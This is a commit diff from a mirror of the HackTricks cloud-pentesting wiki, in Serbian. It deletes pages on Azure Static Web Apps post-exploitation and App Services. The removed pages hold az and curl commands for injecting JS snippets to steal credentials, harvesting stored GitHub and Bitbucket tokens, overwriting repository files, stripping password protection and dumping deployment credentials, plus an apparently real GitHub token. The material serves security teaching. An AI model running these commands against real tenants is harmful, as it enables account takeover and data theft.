mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-06 04:34:31 -07:00
Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md
This commit is contained in:
@@ -61,7 +61,7 @@ Korišćenjem parametra **`--debug`** moguće je videti sve zahteve koje alat **
|
||||
```bash
|
||||
az account management-group list --output table --debug
|
||||
```
|
||||
Da biste izvršili **MitM** na alat i **ručno proverili sve zahteve** koje šalje, možete uraditi:
|
||||
Da biste izvršili **MitM** na alat i **ručno proverili sve zahteve** koje šalje, možete uraditi:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Bash" }}
|
||||
@@ -103,7 +103,7 @@ Korišćenjem parametra **`-Debug`** moguće je videti sve zahteve koje alat ša
|
||||
```bash
|
||||
Get-AzResourceGroup -Debug
|
||||
```
|
||||
Da biste izvršili **MitM** na alat i **proverili sve zahteve** koje šalje ručno, možete postaviti promenljive okruženja `HTTPS_PROXY` i `HTTP_PROXY` prema [**dokumentaciji**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
|
||||
Da biste izvršili **MitM** na alatu i **proverili sve zahteve** koje šalje ručno, možete postaviti promenljive okruženja `HTTPS_PROXY` i `HTTP_PROXY` prema [**dokumentaciji**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
|
||||
|
||||
### Microsoft Graph PowerShell
|
||||
|
||||
@@ -121,9 +121,11 @@ Get-MgUser -Debug
|
||||
```
|
||||
### ~~**AzureAD Powershell**~~
|
||||
|
||||
Modul Azure Active Directory (AD), sada **ukinut**, je deo Azure PowerShell za upravljanje Azure AD resursima. Pruža cmdlet-e za zadatke kao što su upravljanje korisnicima, grupama i registracijama aplikacija u Entra ID.
|
||||
Modul Azure Active Directory (AD), sada **ukinut**, je deo Azure PowerShell-a za upravljanje Azure AD resursima. Pruža cmdlet-e za zadatke kao što su upravljanje korisnicima, grupama i registracijama aplikacija u Entra ID.
|
||||
|
||||
> [!TIP]
|
||||
> Ovo je zamenjeno Microsoft Graph PowerShell
|
||||
|
||||
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
-162
@@ -1,162 +0,0 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Za više informacija o ovoj usluzi proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Moguće je napraviti statičku web stranicu koja učitava proizvoljni HTML kod kreiranjem snippeta. Ovo bi moglo omogućiti napadaču da injektuje JS kod unutar web aplikacije i ukrade osetljive informacije kao što su akreditivi ili mnemoničke ključeve (u web3 novčanicima).
|
||||
|
||||
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web aplikacije::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Pročitajte Konfigurisane Treće Strane Akreditive
|
||||
|
||||
Kao što je objašnjeno u sekciji App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Pokretanjem sledeće komande moguće je **pročitati akreditive treće strane** konfigurisane u trenutnom nalogu. Imajte na umu da, na primer, ako su neki Github akreditive konfigurisani na drugom korisniku, nećete moći da pristupite tokenu iz drugog.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive.
|
||||
|
||||
Evo nekoliko primera komandi za proveru tokena:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Prepisivanje fajla - Prepisivanje ruta, HTML, JS...
|
||||
|
||||
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju putem Azure-a, imajući **Github token** i šaljući zahtev kao što je sledeći, koji će označiti putanju fajla za prepisivanje, sadržaj fajla i poruku o komitu.
|
||||
|
||||
Ovo se može zloupotrebiti od strane napadača da suštinski **promene sadržaj web aplikacije** kako bi služili malicioznom sadržaju (ukrasti akreditive, mnemoničke ključeve...) ili samo da **preusmere određene putanje** na svoje servere prepisivanjem `staticwebapp.config.json` fajla.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da ako napadač uspe da kompromituje Github repozitorijum na bilo koji način, takođe može direktno prepisati fajl sa Github-a.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Sa ovom dozvolom, moguće je **izmeniti lozinku** koja štiti statičku web aplikaciju ili čak ukloniti zaštitu sa svake okoline slanjem zahteva kao što je sledeći:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Ova dozvola omogućava dobijanje **API ključa za token za implementaciju** za statičku aplikaciju.
|
||||
|
||||
Ovaj token omogućava implementaciju aplikacije.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Zatim, da biste ažurirali aplikaciju, možete pokrenuti sledeću komandu. Imajte na umu da je ova komanda izvučena proverom **kako Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funkcioniše**, jer je to ono što je Azure postavio kao podrazumevano za korišćenje. Tako da se slika i parametri mogu promeniti u budućnosti.
|
||||
|
||||
1. Preuzmite repozitorijum [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ili bilo koji drugi repozitorijum koji želite da implementirate) i pokrenite `cd react-basic`.
|
||||
2. Promenite kod koji želite da implementirate
|
||||
3. Implementirajte ga pokretanjem (Zapamtite da promenite `<api-token>`):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Sa ovom dozvolom je moguće **promeniti izvor statičke web aplikacije na drugi Github repozitorijum**, međutim, neće biti automatski obezbeđen jer to obično mora da se uradi iz Github akcije sa tokenom koji je autorizovao akciju, pošto se ovaj token ne ažurira automatski unutar Github tajni repozitorijuma (samo se automatski dodaje kada se aplikacija kreira).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Sa ovom dozvolom je moguće **resetovati API ključ statičke web aplikacije** potencijalno DoS-ujući radne tokove koji automatski implementiraju aplikaciju.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,273 +0,0 @@
|
||||
# Az - App Services
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Service Basic Information
|
||||
|
||||
Azure App Services omogućava programerima da **prave, implementiraju i skaliraju web aplikacije, mobilne aplikacije i API-je bez problema**. Podržava više programskih jezika i integriše se sa raznim Azure alatima i uslugama za poboljšanu funkcionalnost i upravljanje.
|
||||
|
||||
Svaka aplikacija radi unutar sandbox-a, ali izolacija zavisi od App Service planova
|
||||
|
||||
- Aplikacije u Free i Shared nivoima rade na deljenim VM-ovima
|
||||
- Aplikacije u Standard i Premium nivoima rade na posvećenim VM-ovima
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da **nijedna** od tih izolacija **ne sprečava** druge uobičajene **web ranjivosti** (kao što su upload fajlova ili injekcije). I ako se koristi **identitet za upravljanje**, može biti u mogućnosti da **poveća privilegije na njih**.
|
||||
|
||||
Aplikacije imaju neka zanimljiva podešavanja:
|
||||
|
||||
- **Always On**: Osigurava da aplikacija uvek radi. Ako nije omogućeno, aplikacija će prestati da radi nakon 20 minuta neaktivnosti i ponovo će se pokrenuti kada se primi zahtev.
|
||||
- Ovo je bitno ako imate webjob koji treba da radi kontinuirano, jer će webjob prestati ako aplikacija prestane.
|
||||
- **SSH**: Ako je omogućeno, korisnik sa dovoljno dozvola može se povezati na aplikaciju koristeći SSH.
|
||||
- **Debugging**: Ako je omogućeno, korisnik sa dovoljno dozvola može da debaguje aplikaciju. Međutim, ovo se automatski onemogućava svake 48h.
|
||||
- **Web App + Database**: Web konzola omogućava kreiranje aplikacije sa bazom podataka. U ovom slučaju, moguće je odabrati bazu podataka koja će se koristiti (SQLAzure, PostgreSQL, MySQL, MongoDB) i takođe omogućava kreiranje Azure Cache za Redis.
|
||||
- URL koji sadrži kredencijale za bazu podataka i Redis biće sačuvan u **appsettings**.
|
||||
- **Container**: Moguće je implementirati kontejner na App Service tako što ćete navesti URL kontejnera i kredencijale za pristup.
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
Kada kreirate web aplikaciju (i obično Azure funkciju), moguće je naznačiti da li želite da Basic Authentication bude omogućena. Ovo u suštini **omogućava SCM i FTP** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.\
|
||||
Pored toga, da biste se povezali na njih, Azure pruža **API koji omogućava dobijanje korisničkog imena, lozinke i URL-a** za povezivanje na SCM i FTP servere.
|
||||
|
||||
Moguće je povezati se na SCM koristeći web pregledač na `https://<SMC-URL>/BasicAuth` i proveriti sve fajlove i implementacije tamo.
|
||||
|
||||
### Kudu
|
||||
|
||||
Kudu je **motor za implementaciju i platforma za upravljanje za Azure App Service i Function Apps**, koja pruža Git-bazirane implementacije, daljinsko debagovanje i mogućnosti upravljanja fajlovima za web aplikacije. Dostupan je putem SCM URL-a web aplikacije.
|
||||
|
||||
Imajte na umu da su Kudu verzije koje koriste App Services i Function Apps različite, pri čemu je verzija Function aplikacija mnogo ograničenija.
|
||||
|
||||
Neki zanimljivi krajnji tački koje možete pronaći u Kudu su:
|
||||
- `/DebugConsole`: Konzola koja vam omogućava da izvršavate komande u okruženju u kojem Kudu radi.
|
||||
- Imajte na umu da ovo okruženje **nema pristup** metapodacima za dobijanje tokena.
|
||||
- `/webssh/host`: Web-bazirani SSH klijent koji vam omogućava da se povežete unutar kontejnera gde aplikacija radi.
|
||||
- Ovo okruženje **ima pristup** metapodacima kako bi dobilo tokene od dodeljenih upravljanih identiteta.
|
||||
- `/Env`: Dobijte informacije o sistemu, podešavanjima aplikacije, env varijablama, konekcionim stringovima i HTTP header-ima.
|
||||
- `/wwwroot/`: Korenski direktorijum web aplikacije. Možete preuzeti sve fajlove odavde.
|
||||
|
||||
## Sources
|
||||
|
||||
App Services omogućava upload koda kao zip fajla po defaultu, ali takođe omogućava povezivanje na treću stranu i dobijanje koda odatle.
|
||||
|
||||
- Trenutno podržani izvori trećih strana su **Github** i **Bitbucket**.
|
||||
- Možete dobiti tokene za autentifikaciju pokretanjem `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||
- Azure po defaultu postavlja **Github Action** za implementaciju koda na App Service svaki put kada se kod ažurira.
|
||||
- Takođe je moguće naznačiti **daljinski git repozitorij** (sa korisničkim imenom i lozinkom) da biste dobili kod odatle.
|
||||
- Možete dobiti kredencijale za daljinski repozitorij pokretanjem `az webapp deployment source show --name <app-name> --resource-group <res-group>` ili `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- Takođe je moguće koristiti **Azure Repository**.
|
||||
- Takođe je moguće konfigurisati **lokalni git repozitorij**.
|
||||
- Možete dobiti URL git repozitorija sa `az webapp deployment source show --name <app-name> --resource-group <res-group>` i to će biti SCM URL aplikacije.
|
||||
- Da biste ga klonirali, biće vam potrebni SCM kredencijali koje možete dobiti sa `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
|
||||
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs su **pozadinski zadaci koji se izvršavaju u Azure App Service okruženju**. Omogućavaju programerima da izvršavaju skripte ili programe zajedno sa svojim web aplikacijama, olakšavajući rukovanje asinhronim ili vremenski intenzivnim operacijama kao što su obrada fajlova, rukovanje podacima ili zakazani zadaci.
|
||||
Postoje 2 tipa web jobova:
|
||||
- **Continuous**: Radi neprekidno u petlji i aktivira se čim se kreira. Idealno je za zadatke koji zahtevaju konstantno procesiranje. Međutim, ako aplikacija prestane da radi jer je Always On onemogućen i nije primila zahtev u poslednjih 20 minuta, web job će takođe prestati.
|
||||
- **Triggered**: Radi na zahtev ili na osnovu rasporeda. Najbolje je prilagođen za periodične zadatke, kao što su ažuriranja podataka ili rutinske održavanja.
|
||||
|
||||
Webjobs su veoma zanimljivi iz perspektive napadača jer se mogu koristiti za **izvršavanje koda** u okruženju i **povećanje privilegija** na dodeljene upravljane identitete.
|
||||
|
||||
Pored toga, uvek je zanimljivo proveriti **logove** koje generišu Webjobs jer mogu sadržati **osetljive informacije**.
|
||||
|
||||
### Slots
|
||||
|
||||
Azure App Service Slots se koriste za **implementaciju različitih verzija aplikacije** na istom App Service-u. Ovo omogućava programerima da testiraju nove funkcije ili promene u odvojenom okruženju pre nego što ih implementiraju u produkciono okruženje.
|
||||
|
||||
Pored toga, moguće je usmeriti **procenat saobraćaja** na određeni slot, što je korisno za **A/B testiranje** i za backdoor svrhe.
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
U suštini, **Azure Function aplikacije su podskup Azure App Service** u web-u i ako odete na web konzolu i navedete sve app servise ili izvršite `az webapp list` u az cli, moći ćete da **vidite i Function aplikacije ovde navedene**.
|
||||
|
||||
U stvari, neke od **karakteristika vezanih za bezbednost** koje App servisi koriste (`webapp` u az cli), takođe se **koriste i od strane Function aplikacija**.
|
||||
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
|
||||
## Get SCM URL of each webapp
|
||||
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get instances of a webapp
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get SCM and FTP credentials
|
||||
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
# Get backups scheduled for a webapp
|
||||
az webapp config backup show --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
# Get snapshots
|
||||
az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
|
||||
# Restore snapshot
|
||||
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get slots
|
||||
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
|
||||
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get traffic-routing
|
||||
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
|
||||
# Read webjobs logs with Azure permissions
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Read webjobs logs with SCM credentials
|
||||
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
|
||||
# Get connections of a webapp
|
||||
az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az get all" }}
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# Get all App Service and Function Apps
|
||||
|
||||
# Define Azure subscription ID
|
||||
azure_subscription="your_subscription_id"
|
||||
|
||||
# Log in to Azure
|
||||
az login
|
||||
|
||||
# Select Azure subscription
|
||||
az account set --subscription $azure_subscription
|
||||
|
||||
# Get all App Services in the specified subscription
|
||||
list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv)
|
||||
|
||||
# Iterate over each App Service
|
||||
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
done
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Dobijanje kredencijala i pristup kodu web aplikacije
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
## Check how to use the DBs connection strings in the SQL page
|
||||
|
||||
# Get credentials to access the code and DB credentials if configured.
|
||||
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
|
||||
|
||||
|
||||
# Get git URL to access the code
|
||||
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
|
||||
|
||||
# Access/Modify the code via git
|
||||
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
|
||||
## In my case the username was: $nameofthewebapp and the password some random chars
|
||||
## If you change the code and do a push, the app is automatically redeployed
|
||||
```
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Primeri za generisanje Web Aplikacija
|
||||
|
||||
### Python sa lokalnog
|
||||
|
||||
Ovaj tutorijal se zasniva na onom sa [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
||||
cd msdocs-python-flask-webapp-quickstart
|
||||
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
Prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `/wwwroot` vidi kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
|
||||
> [!TIP]
|
||||
> Samo povezivanje putem FTP-a i modifikovanje fajla `output.tar.gz` nije dovoljno da se promeni kod koji izvršava web aplikacija.
|
||||
|
||||
**Napadač bi mogao da preuzme ovaj fajl, modifikuje ga i ponovo ga otpremi da bi izvršio proizvoljan kod u web aplikaciji.**
|
||||
|
||||
### Python sa Github-a
|
||||
|
||||
Ovaj tutorijal se zasniva na prethodnom, ali koristi Github repozitorijum.
|
||||
|
||||
1. Forkujte repozitorijum msdocs-python-flask-webapp-quickstart na vašem Github nalogu.
|
||||
2. Kreirajte novu python Web App u Azure-u.
|
||||
3. U `Deployment Center` promenite izvor, prijavite se sa Github-om, izaberite forkovani repozitorijum i kliknite na `Save`.
|
||||
|
||||
Kao u prethodnom slučaju, prijavljivanje na SCM portal ili prijavljivanje putem FTP-a omogućava da se u `/wwwroot` vidi kompresovani fajl `output.tar.gz` koji sadrži kod web aplikacije.
|
||||
|
||||
> [!TIP]
|
||||
> Samo povezivanje putem FTP-a i modifikovanje fajla `output.tar.gz` i ponovo pokretanje implementacije nije dovoljno da se promeni kod koji izvršava web aplikacija.
|
||||
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user